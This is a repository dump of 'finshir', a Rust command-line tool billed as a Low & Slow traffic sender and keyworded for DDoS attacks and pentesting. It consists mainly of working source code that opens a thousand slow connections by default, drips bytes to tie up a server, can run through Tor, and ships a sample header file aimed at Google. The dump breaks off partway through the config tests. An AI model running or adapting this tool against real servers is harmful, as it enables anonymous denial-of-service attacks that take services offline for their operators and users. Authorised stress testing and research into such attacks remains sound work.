├── .gitignore ├── ICON.png ├── gallery ├── ERRORS.png ├── VERBOSE.png └── INITIALISATION.png ├── rustfmt.toml ├── files ├── test.json └── google.json ├── .idea ├── vcs.xml ├── modules.xml ├── finshir.iml ├── codeStyles │ └── Project.xml ├── dbnavigator.xml └── workspace.xml ├── .travis.yml ├── Cargo.toml ├── CONTRIBUTING.md ├── src ├── main.rs ├── logging.rs ├── testing │ ├── helpers.rs │ └── mod.rs └── config.rs ├── CODE_OF_CONDUCT.md ├── README.md ├── Cargo.lock └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | **/*.rs.bk -------------------------------------------------------------------------------- /ICON.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/isgasho/finshir/HEAD/ICON.png -------------------------------------------------------------------------------- /gallery/ERRORS.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/isgasho/finshir/HEAD/gallery/ERRORS.png -------------------------------------------------------------------------------- /gallery/VERBOSE.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/isgasho/finshir/HEAD/gallery/VERBOSE.png -------------------------------------------------------------------------------- /rustfmt.toml: -------------------------------------------------------------------------------- 1 | format_doc_comments = true 2 | wrap_comments = true 3 | format_strings = true -------------------------------------------------------------------------------- /files/test.json: -------------------------------------------------------------------------------- 1 | [ 2 | "abc def g", 3 | "ghi kkl j", 4 | "mno pqr e", 5 | "stu vwx f" 6 | ] -------------------------------------------------------------------------------- /gallery/INITIALISATION.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/isgasho/finshir/HEAD/gallery/INITIALISATION.png -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: rust 2 | 3 | script: 4 | # Turn on the 'nightly' channel to use unstable features 5 | - rustup override set nightly 6 | - 7 | - cargo build --verbose --all 8 | - cargo test --verbose --all -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /files/google.json: -------------------------------------------------------------------------------- 1 | [ 2 | "GET / HTTP/1.1\r\n", 3 | "Host: www.google.com", 4 | "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0\r\n", 5 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 6 | "Accept-Language: en-US,en;q=0.5", 7 | "Accept-Encoding: gzip, deflate, br", 8 | "Connection: keep-alive", 9 | "Upgrade-Insecure-Requests: 1", 10 | "Cache-Control: max-age=0", 11 | "TE: Trailers" 12 | ] -------------------------------------------------------------------------------- /.idea/finshir.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "finshir" 3 | description = "A coroutines-driven Low & Slow traffic sender, written in Rust" 4 | repository = "https://github.com/Gymmasssorla/finshir" 5 | version = "0.1.0" 6 | authors = ["Temirkhan Myrzamadi "] 7 | keywords = ["finshir", "ddos-attacks", "load-generator", "stress-testing", "pentest-tool"] 8 | categories = ["command-line-utilities", "simulation", "network-programming"] 9 | readme = "README.md" 10 | license = "GPL-3.0-only" 11 | edition = "2018" 12 | 13 | [dependencies] 14 | ctrlc = "3.1.2" 15 | structopt = "0.2.15" 16 | humantime = "1.2.0" 17 | time = "0.1.42" 18 | tor-stream = "0.2.0" 19 | may = "0.3.7" 20 | colored = "1.7.0" 21 | log = "0.4.6" 22 | fern = { version = "0.5.8", features = ["colored"] } 23 | serde_json = "1.0.39" 24 | serde = {version = "1.0.90", features = ["derive"] } 25 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | Since Finshir is a free (in sense of freedom) kind of software, you are always welcome to contribute! Please look through our [code of conduct](https://github.com/Gymmasssorla/finshir/blob/master/CODE_OF_CONDUCT.md) and the liberal [GPLv3 license](https://github.com/Gymmasssorla/finshir/blob/master/LICENSE), under which the product is distributed. 3 | 4 | ## Environment setup 5 | To setup your development environment for contribution, you need to [install the Rust toolchain](https://www.rust-lang.org/tools/install) using one convenient command below: 6 | 7 | ```bash 8 | # Setup all the rust programming language toolchain 9 | curl https://sh.rustup.rs -sSf | sh 10 | ``` 11 | 12 | We use the [IntelliJ Rust](https://intellij-rust.github.io/) integrated development environment for comfortable development process. Just install it from the link above (or download [this plugin](https://plugins.jetbrains.com/plugin/8182-rust)) and open the cloned repository using it. 13 | 14 | ## Building and testing 15 | As it should be in correct projects, all the building and testing procedures are performed by [Travis CI](https://travis-ci.com/Gymmasssorla/finshir). But, of course, you can do it by yourself using the following commands: 16 | 17 | ```bash 18 | $ cargo build --verbose --all 19 | $ cargo test --verbose --all 20 | ``` 21 | 22 | ## Where to go? 23 | - **[Issues](https://github.com/Gymmasssorla/finshir/issues)** are meant for reporting found bugs and new functionality suggestions. Discussions are welcome too, and I will try to answer you in near future. 24 | 25 | - **[Pulls](https://github.com/Gymmasssorla/finshir/pulls)** are meant for implementing new functionality and fixing bugs. Note that other people can criticize your code, and you should answer them. Also don't forget to run `cargo fmt` before pushing any changes. 26 | -------------------------------------------------------------------------------- /.idea/codeStyles/Project.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 11 | 12 | 13 | 14 | 15 | 21 | 22 | 26 | 27 | 28 | 29 | 35 | 36 | 37 | 38 | 39 | 45 | 46 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | // finshir: A coroutines-driven Low & Slow traffic sender, written in Rust 2 | // Copyright (C) 2019 Temirkhan Myrzamadi 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | // 17 | // For more information see . 18 | 19 | #![feature(result_map_or_else)] 20 | 21 | #[macro_use] 22 | extern crate log; 23 | 24 | use colored::Colorize; 25 | use structopt::StructOpt; 26 | 27 | use crate::config::ArgsConfig; 28 | 29 | mod config; 30 | mod logging; 31 | mod testing; 32 | 33 | fn main() { 34 | setup_ctrlc_handler(); 35 | 36 | let config = ArgsConfig::from_args(); 37 | title(); 38 | 39 | logging::setup_logging(&config.logging_config); 40 | trace!("{:?}", config); 41 | 42 | std::process::exit(testing::run(&config)); 43 | } 44 | 45 | fn setup_ctrlc_handler() { 46 | ctrlc::set_handler(move || { 47 | info!("Cancellation from the user has been received. Exiting the program..."); 48 | std::process::exit(0); 49 | }) 50 | .expect("Error while setting the Ctrl-C handler"); 51 | 52 | trace!("The Ctrl-C handler has been configured."); 53 | } 54 | 55 | fn title() { 56 | println!( 57 | " {}", 58 | r" __ _ _ _ ".cyan() 59 | ); 60 | println!( 61 | " {}", 62 | r" / _(_)_ __ ___| |__ (_)_ __ ".cyan() 63 | ); 64 | println!( 65 | " {}", 66 | r"| |_| | '_ \/ __| '_ \| | '__|".cyan() 67 | ); 68 | println!( 69 | " {}", 70 | r"| _| | | | \__ \ | | | | | ".cyan() 71 | ); 72 | println!( 73 | " {}", 74 | r"|_| |_|_| |_|___/_| |_|_|_| ".cyan() 75 | ); 76 | println!( 77 | " {}", 78 | format!("version {}", structopt::clap::crate_version!()) 79 | .red() 80 | .bold() 81 | ); 82 | println!( 83 | "{}\n", 84 | "A coroutines-driven Low & Slow traffic sender, written in Rust" 85 | .green() 86 | .underline() 87 | ); 88 | } 89 | -------------------------------------------------------------------------------- /src/logging.rs: -------------------------------------------------------------------------------- 1 | // finshir: A coroutines-driven Low & Slow traffic sender, written in Rust 2 | // Copyright (C) 2019 Temirkhan Myrzamadi 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | // 17 | // For more information see . 18 | 19 | use std::io; 20 | 21 | use colored::Colorize; 22 | use fern::colors::{Color, ColoredLevelConfig}; 23 | use fern::Dispatch; 24 | use log::{Level, LevelFilter}; 25 | use time; 26 | 27 | use super::config::LoggingConfig; 28 | 29 | /// Setups the logging system from `LoggingConfig`. Before this function, 30 | /// neither of log's macros such as `info!` won't work. 31 | pub fn setup_logging(logging_config: &LoggingConfig) { 32 | let colors = ColoredLevelConfig::new() 33 | .info(Color::Green) 34 | .warn(Color::Yellow) 35 | .error(Color::Red) 36 | .debug(Color::Magenta) 37 | .trace(Color::Cyan); 38 | let date_time_format = logging_config.date_time_format.clone(); 39 | 40 | Dispatch::new() 41 | .format(move |out, message, record| { 42 | out.finish(format_args!( 43 | "[{level}] [{time}]: {message}", 44 | level = colors.color(record.level()).to_string().underline(), 45 | time = time::strftime(&date_time_format, &time::now()) 46 | .unwrap() 47 | .magenta(), 48 | message = message, 49 | )); 50 | }) 51 | // Print all debugging information and traces to stderr 52 | .chain( 53 | Dispatch::new() 54 | .filter(move |metadata| match metadata.level() { 55 | Level::Info | Level::Warn | Level::Error => false, 56 | Level::Debug | Level::Trace => true, 57 | }) 58 | .chain(io::stderr()), 59 | ) 60 | // Print all notifications, warnings, and errors to stdout 61 | .chain( 62 | Dispatch::new() 63 | .filter(move |metadata| match metadata.level() { 64 | Level::Info | Level::Warn | Level::Error => true, 65 | Level::Debug | Level::Trace => false, 66 | }) 67 | .chain(io::stdout()), 68 | ) 69 | .level(associated_level(logging_config.verbosity)) 70 | .level_for("may", LevelFilter::Off) 71 | .apply() 72 | .expect("Applying the fern::Dispatch has failed"); 73 | } 74 | 75 | fn associated_level(verbosity: i32) -> LevelFilter { 76 | match verbosity { 77 | 0 => LevelFilter::Off, 78 | 1 => LevelFilter::Error, 79 | 2 => LevelFilter::Warn, 80 | 3 => LevelFilter::Info, 81 | 4 => LevelFilter::Debug, 82 | 5 => LevelFilter::Trace, 83 | _ => panic!("No such verbosity level in existence"), 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, sex characteristics, gender identity and expression, 9 | level of experience, education, socio-economic status, nationality, personal 10 | appearance, race, religion, or sexual identity and orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at gymmasssorla@gmail.com. All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html 72 | 73 | [homepage]: https://www.contributor-covenant.org 74 | 75 | For answers to common questions about this code of conduct, see 76 | https://www.contributor-covenant.org/faq 77 | -------------------------------------------------------------------------------- /src/testing/helpers.rs: -------------------------------------------------------------------------------- 1 | // finshir: A coroutines-driven Low & Slow traffic sender, written in Rust 2 | // Copyright (C) 2019 Temirkhan Myrzamadi 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | // 17 | // For more information see . 18 | 19 | use std::error::Error; 20 | use std::fmt::{self, Display, Formatter}; 21 | use std::fs::File; 22 | use std::io; 23 | use std::path::Path; 24 | 25 | use colored::{ColoredString, Colorize}; 26 | use serde_json; 27 | 28 | pub type ReadPortionsResult = Result>, ReadPortionsError>; 29 | 30 | static EMPTY_SPACES_COUNT: usize = 100; 31 | 32 | /// If `file` is some, this function reads data portions from the specified 33 | /// file. Otherwise, it generates empty spaces. 34 | pub fn get_portions>(file: Option

) -> ReadPortionsResult { 35 | if let Some(file) = file { 36 | read_portions(file) 37 | } else { 38 | Ok(gen_portions()) 39 | } 40 | } 41 | 42 | /// Extracts data portions from a specified file. 43 | fn read_portions>(path: P) -> ReadPortionsResult { 44 | let file = File::open(path).map_err(ReadPortionsError::ReadFailed)?; 45 | 46 | Ok(serde_json::from_reader::<_, Vec>(file) 47 | .map_err(ReadPortionsError::JsonParseFailed)? 48 | .into_iter() 49 | .map(String::into_bytes) 50 | .collect()) 51 | } 52 | 53 | /// Generates empty spaces as default data portions. 54 | fn gen_portions() -> Vec> { 55 | let mut spaces = Vec::with_capacity(EMPTY_SPACES_COUNT); 56 | 57 | for _ in 0..EMPTY_SPACES_COUNT { 58 | spaces.push(vec![' ' as u8]); 59 | } 60 | 61 | spaces 62 | } 63 | 64 | #[derive(Debug)] 65 | pub enum ReadPortionsError { 66 | /// Used when the function cannot read file content. 67 | ReadFailed(io::Error), 68 | 69 | /// Used when the function cannot parse JSON structure. 70 | JsonParseFailed(serde_json::Error), 71 | } 72 | 73 | impl Display for ReadPortionsError { 74 | fn fmt(&self, fmt: &mut Formatter) -> fmt::Result { 75 | match self { 76 | ReadPortionsError::ReadFailed(err) => write!(fmt, "{}", err), 77 | ReadPortionsError::JsonParseFailed(err) => write!(fmt, "{}", err), 78 | } 79 | } 80 | } 81 | 82 | impl Error for ReadPortionsError {} 83 | 84 | pub fn cyan(value: S) -> ColoredString { 85 | value.to_string().cyan() 86 | } 87 | 88 | #[cfg(test)] 89 | mod tests { 90 | use super::*; 91 | 92 | /// Checks that the portions are generated by `gen_portions()`. 93 | fn check_spaces(spaces: Vec>) { 94 | assert_eq!(spaces.len(), EMPTY_SPACES_COUNT); 95 | assert!(spaces.len() <= spaces.capacity()); 96 | 97 | for space in spaces { 98 | assert_eq!(space.len(), 1); 99 | assert_eq!(space[0], ' ' as u8); 100 | } 101 | } 102 | 103 | /// Checks that the portions are taken from `files/test.json`. 104 | fn check_file(portions: Vec>) { 105 | assert_eq!(portions.len(), 4); 106 | assert!(portions.len() <= portions.capacity()); 107 | 108 | assert_eq!(portions[0].as_slice(), b"abc def g"); 109 | assert_eq!(portions[1].as_slice(), b"ghi kkl j"); 110 | assert_eq!(portions[2].as_slice(), b"mno pqr e"); 111 | assert_eq!(portions[3].as_slice(), b"stu vwx f"); 112 | } 113 | 114 | /// The `get_options()` function must choose the right variants. 115 | #[test] 116 | fn gets_portions() { 117 | check_file(get_portions(Some("files/test.json")).expect("Failed to parse JSON")); 118 | check_spaces(get_portions::<&str>(None).expect("get_portions(none) failed")); 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /src/testing/mod.rs: -------------------------------------------------------------------------------- 1 | // finshir: A coroutines-driven Low & Slow traffic sender, written in Rust 2 | // Copyright (C) 2019 Temirkhan Myrzamadi 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | // 17 | // For more information see . 18 | 19 | use std::io::{self, Write}; 20 | use std::num::NonZeroUsize; 21 | use std::os::unix::io::{FromRawFd, IntoRawFd}; 22 | use std::time::Instant; 23 | 24 | use humantime::format_duration; 25 | use may::{self, coroutine, go}; 26 | use tor_stream::TorStream; 27 | 28 | use crate::config::{ArgsConfig, SocketConfig, TesterConfig}; 29 | 30 | mod helpers; 31 | 32 | type StdSocket = std::net::TcpStream; 33 | type MaySocket = may::net::TcpStream; 34 | 35 | /// This is the key function which accepts `ArgsConfig` and spawns all 36 | /// coroutines, returning 0 on success and 1 on failure. 37 | pub fn run(config: &ArgsConfig) -> i32 { 38 | let portions = match helpers::get_portions(config.portions_file.as_ref()) { 39 | Err(err) => { 40 | error!("Failed to parse the JSON >>> {}!", err); 41 | return 1; 42 | } 43 | Ok(res) => res, 44 | }; 45 | let portions: Vec<&[u8]> = portions.iter().map(Vec::as_slice).collect(); 46 | 47 | warn!( 48 | "Waiting {} and then spawning {} coroutines connected through the {}.", 49 | helpers::cyan(format_duration(config.wait)), 50 | helpers::cyan(config.connections), 51 | if config.tester_config.socket_config.use_tor { 52 | "Tor network" 53 | } else { 54 | "regular Web" 55 | } 56 | ); 57 | std::thread::sleep(config.wait); 58 | 59 | coroutine::scope(|scope| { 60 | let portions = &portions; 61 | let config = &config; 62 | let iters = config.connections.get(); 63 | 64 | for _ in 0..iters { 65 | go!(scope, move || run_tester(&config.tester_config, portions)); 66 | } 67 | 68 | info!("All the coroutines have been spawned."); 69 | }); 70 | 71 | return 0; 72 | } 73 | 74 | fn run_tester(config: &TesterConfig, portions: &[&[u8]]) { 75 | let start = Instant::now(); 76 | 77 | loop { 78 | let mut socket: MaySocket = connect_socket(&config.socket_config); 79 | 80 | for &portion in portions { 81 | if start.elapsed() >= config.test_duration { 82 | info!("The allotted time has expired. Exiting the coroutine..."); 83 | return; 84 | } 85 | 86 | match send_portion(&mut socket, portion, config.failed_count) { 87 | SendPortionResult::Success => { 88 | info!( 89 | "{} byte(s) have been sent. Waiting {}...", 90 | helpers::cyan(portion.len()), 91 | helpers::cyan(format_duration(config.write_periodicity)) 92 | ); 93 | } 94 | SendPortionResult::Failed(err) => { 95 | error!( 96 | "Sending {} byte(s) failed {} times >>> {}! Reconnecting the socket...", 97 | helpers::cyan(portion.len()), 98 | helpers::cyan(config.failed_count), 99 | err, 100 | ); 101 | break; 102 | } 103 | } 104 | 105 | coroutine::sleep(config.write_periodicity); 106 | } 107 | 108 | info!("All the data portions have been sent. Reconnecting the socket..."); 109 | } 110 | } 111 | 112 | #[derive(Debug)] 113 | enum SendPortionResult { 114 | Success, 115 | Failed(io::Error), 116 | } 117 | 118 | fn send_portion( 119 | socket: &mut MaySocket, 120 | portion: &[u8], 121 | failed_count: NonZeroUsize, 122 | ) -> SendPortionResult { 123 | let res = { 124 | for _ in 0..(failed_count.get() - 1) { 125 | match socket.write_all(portion) { 126 | Ok(_) => return SendPortionResult::Success, 127 | Err(err) => { 128 | error!( 129 | "Failed to send {} byte(s) >>> {}! Retrying the operation...", 130 | helpers::cyan(portion.len()), 131 | err 132 | ); 133 | continue; 134 | } 135 | } 136 | } 137 | 138 | match socket.write_all(portion) { 139 | Ok(_) => SendPortionResult::Success, 140 | Err(err) => SendPortionResult::Failed(err), 141 | } 142 | }; 143 | 144 | socket 145 | .flush() 146 | .map_or_else(SendPortionResult::Failed, |_| res) 147 | } 148 | 149 | fn connect_socket(config: &SocketConfig) -> MaySocket { 150 | loop { 151 | match try_connect_socket(config) { 152 | Ok(socket) => { 153 | info!("A new socket has been connected."); 154 | return socket; 155 | } 156 | Err(err) => { 157 | error!( 158 | "Failed to connect a socket >>> {}! Retrying the operation...", 159 | err 160 | ); 161 | continue; 162 | } 163 | } 164 | } 165 | } 166 | 167 | fn try_connect_socket(config: &SocketConfig) -> io::Result { 168 | let socket = if config.use_tor { 169 | TorStream::connect(config.receiver)?.unwrap() 170 | } else { 171 | StdSocket::connect_timeout(&config.receiver, config.connect_timeout)? 172 | }; 173 | 174 | // We send packets quite rarely (the default is 30secs), so the Nagle algorithm 175 | // doesn't help us 176 | socket 177 | .set_nodelay(true) 178 | .expect("Cannot disable TCP_NODELAY"); 179 | 180 | socket.set_write_timeout(Some(config.write_timeout))?; 181 | 182 | if let Some(val) = config.ip_ttl { 183 | socket.set_ttl(val)?; 184 | } 185 | 186 | unsafe { Ok(MaySocket::from_raw_fd(socket.into_raw_fd())) } 187 | } 188 | -------------------------------------------------------------------------------- /src/config.rs: -------------------------------------------------------------------------------- 1 | // finshir: A coroutines-driven Low & Slow traffic sender, written in Rust 2 | // Copyright (C) 2019 Temirkhan Myrzamadi 3 | // 4 | // This program is free software: you can redistribute it and/or modify 5 | // it under the terms of the GNU General Public License as published by 6 | // the Free Software Foundation, either version 3 of the License, or 7 | // (at your option) any later version. 8 | // 9 | // This program is distributed in the hope that it will be useful, 10 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | // GNU General Public License for more details. 13 | // 14 | // You should have received a copy of the GNU General Public License 15 | // along with this program. If not, see . 16 | // 17 | // For more information see . 18 | 19 | use std::error::Error; 20 | use std::fmt::{self, Display, Formatter}; 21 | use std::net::SocketAddr; 22 | use std::num::{NonZeroUsize, ParseIntError}; 23 | use std::path::PathBuf; 24 | use std::time::Duration; 25 | 26 | use humantime::parse_duration; 27 | use structopt::StructOpt; 28 | 29 | #[derive(StructOpt, Debug, Clone, Eq, PartialEq)] 30 | #[structopt( 31 | author = "Temirkhan Myrzamadi ", 32 | about = "A coroutines-driven Low & Slow traffic sender, written in Rust", 33 | after_help = "By default, Finshir generates 100 empty spaces as data portions. If you want to \ 34 | override this behaviour, consider using the `--portions-file` option.\n\nFor \ 35 | more information see .", 36 | set_term_width = 80 37 | )] 38 | pub struct ArgsConfig { 39 | /// A waiting time span before test execution used to prevent a launch of an 40 | /// erroneous (unwanted) test 41 | #[structopt( 42 | short = "w", 43 | long = "wait", 44 | takes_value = true, 45 | value_name = "TIME-SPAN", 46 | default_value = "5secs", 47 | parse(try_from_str = "parse_duration") 48 | )] 49 | pub wait: Duration, 50 | 51 | /// A file consisting of a custom JSON array of data portions, specified as 52 | /// strings 53 | #[structopt( 54 | short = "f", 55 | long = "portions-file", 56 | takes_value = true, 57 | value_name = "LOCATION" 58 | )] 59 | pub portions_file: Option, 60 | 61 | /// A number of connections the program will handle simultaneously. This 62 | /// option also equals to a number of coroutines 63 | #[structopt( 64 | short = "c", 65 | long = "connections", 66 | takes_value = true, 67 | value_name = "POSITIVE-INTEGER", 68 | default_value = "1000", 69 | parse(try_from_str = "parse_non_zero_usize") 70 | )] 71 | pub connections: NonZeroUsize, 72 | 73 | #[structopt(flatten)] 74 | pub tester_config: TesterConfig, 75 | 76 | #[structopt(flatten)] 77 | pub logging_config: LoggingConfig, 78 | } 79 | 80 | #[derive(StructOpt, Debug, Clone, Eq, PartialEq)] 81 | pub struct SocketConfig { 82 | /// A receiver of generator traffic, specified as an IP address and a port 83 | /// number, separated by a colon 84 | #[structopt( 85 | short = "r", 86 | long = "receiver", 87 | takes_value = true, 88 | value_name = "SOCKET-ADDRESS" 89 | )] 90 | pub receiver: SocketAddr, 91 | 92 | /// If a timeout is reached and a socket wasn't connected, the program will 93 | /// retry the operation later. 94 | /// 95 | /// Note that this option currently doesn't work on sockets which are trying 96 | /// to connect through Tor. 97 | #[structopt( 98 | long = "connect-timeout", 99 | takes_value = true, 100 | value_name = "TIME-SPAN", 101 | default_value = "30secs", 102 | parse(try_from_str = "parse_duration") 103 | )] 104 | pub connect_timeout: Duration, 105 | 106 | /// If a timeout is reached and a data portion wasn't sent, the program will 107 | /// retry the operation later 108 | #[structopt( 109 | long = "write-timeout", 110 | takes_value = true, 111 | value_name = "TIME-SPAN", 112 | default_value = "30secs", 113 | parse(try_from_str = "parse_duration") 114 | )] 115 | pub write_timeout: Duration, 116 | 117 | /// Torify all sockets by connecting to a SOCKS5 proxy running on 118 | /// 127.0.0.1:9050 119 | #[structopt(long = "use-tor")] 120 | pub use_tor: bool, 121 | 122 | /// Specifies the IP_TTL value for all future sockets. Usually this value 123 | /// equals a number of routers that a packet can go through 124 | #[structopt(long = "ip-ttl", takes_value = true, value_name = "UNSIGNED-INTEGER")] 125 | pub ip_ttl: Option, 126 | } 127 | 128 | #[derive(StructOpt, Debug, Clone, Eq, PartialEq)] 129 | pub struct TesterConfig { 130 | /// A time interval between writing data portions. This option can be used 131 | /// to modify test intensity 132 | #[structopt( 133 | long = "write-periodicity", 134 | takes_value = true, 135 | value_name = "TIME-SPAN", 136 | default_value = "30secs", 137 | parse(try_from_str = "parse_duration") 138 | )] 139 | pub write_periodicity: Duration, 140 | 141 | /// A number of failed data transmissions used to reconnect a socket to a 142 | /// remote web server 143 | #[structopt( 144 | long = "failed-count", 145 | takes_value = true, 146 | value_name = "POSITIVE-INTEGER", 147 | default_value = "5", 148 | parse(try_from_str = "parse_non_zero_usize") 149 | )] 150 | pub failed_count: NonZeroUsize, 151 | 152 | /// A whole test duration, after which all spawned coroutines will stop 153 | /// their work 154 | #[structopt( 155 | short = "d", 156 | long = "test-duration", 157 | takes_value = true, 158 | value_name = "TIME-SPAN", 159 | default_value = "64years 64hours 64secs", 160 | parse(try_from_str = "parse_duration") 161 | )] 162 | pub test_duration: Duration, 163 | 164 | #[structopt(flatten)] 165 | pub socket_config: SocketConfig, 166 | } 167 | 168 | #[derive(StructOpt, Debug, Clone, Eq, PartialEq)] 169 | pub struct LoggingConfig { 170 | /// Enable one of the possible verbosity levels. The zero level doesn't 171 | /// print anything, and the last level prints everything 172 | #[structopt( 173 | short = "v", 174 | long = "verbosity", 175 | takes_value = true, 176 | value_name = "LEVEL", 177 | default_value = "3", 178 | possible_value = "0", 179 | possible_value = "1", 180 | possible_value = "2", 181 | possible_value = "3", 182 | possible_value = "4", 183 | possible_value = "5" 184 | )] 185 | pub verbosity: i32, 186 | 187 | /// A format for displaying local date and time in log messages. Type `man 188 | /// strftime` to see the format specification 189 | #[structopt( 190 | long = "date-time-format", 191 | takes_value = true, 192 | value_name = "STRING", 193 | default_value = "%X", 194 | parse(try_from_str = "parse_time_format") 195 | )] 196 | pub date_time_format: String, 197 | } 198 | 199 | fn parse_time_format(format: &str) -> Result { 200 | // If the `strftime` call succeeds, then the format is correct 201 | time::strftime(format, &time::now())?; 202 | Ok(String::from(format)) 203 | } 204 | 205 | fn parse_non_zero_usize(number: &str) -> Result { 206 | let number: usize = number.parse().map_err(NonZeroUsizeError::InvalidFormat)?; 207 | 208 | NonZeroUsize::new(number).ok_or(NonZeroUsizeError::ZeroValue) 209 | } 210 | 211 | #[derive(Debug, Clone, PartialEq, Eq)] 212 | enum NonZeroUsizeError { 213 | InvalidFormat(ParseIntError), 214 | ZeroValue, 215 | } 216 | 217 | impl Display for NonZeroUsizeError { 218 | fn fmt(&self, fmt: &mut Formatter) -> fmt::Result { 219 | match self { 220 | NonZeroUsizeError::InvalidFormat(error) => write!(fmt, "{}", error), 221 | NonZeroUsizeError::ZeroValue => write!(fmt, "The value equals to zero"), 222 | } 223 | } 224 | } 225 | 226 | impl Error for NonZeroUsizeError {} 227 | 228 | #[cfg(test)] 229 | mod tests { 230 | use super::*; 231 | 232 | // Check that ordinary formats are passed correctly 233 | #[test] 234 | fn parses_valid_time_format() { 235 | let check = |format| { 236 | assert_eq!( 237 | parse_time_format(format), 238 | Ok(String::from(format)), 239 | "Parses valid time incorrectly" 240 | ) 241 | }; 242 | 243 | check("%x %X %e"); 244 | check("%H %a %G"); 245 | check("something"); 246 | check("flower %d"); 247 | } 248 | 249 | // Invalid formats must produce the invalid format error 250 | 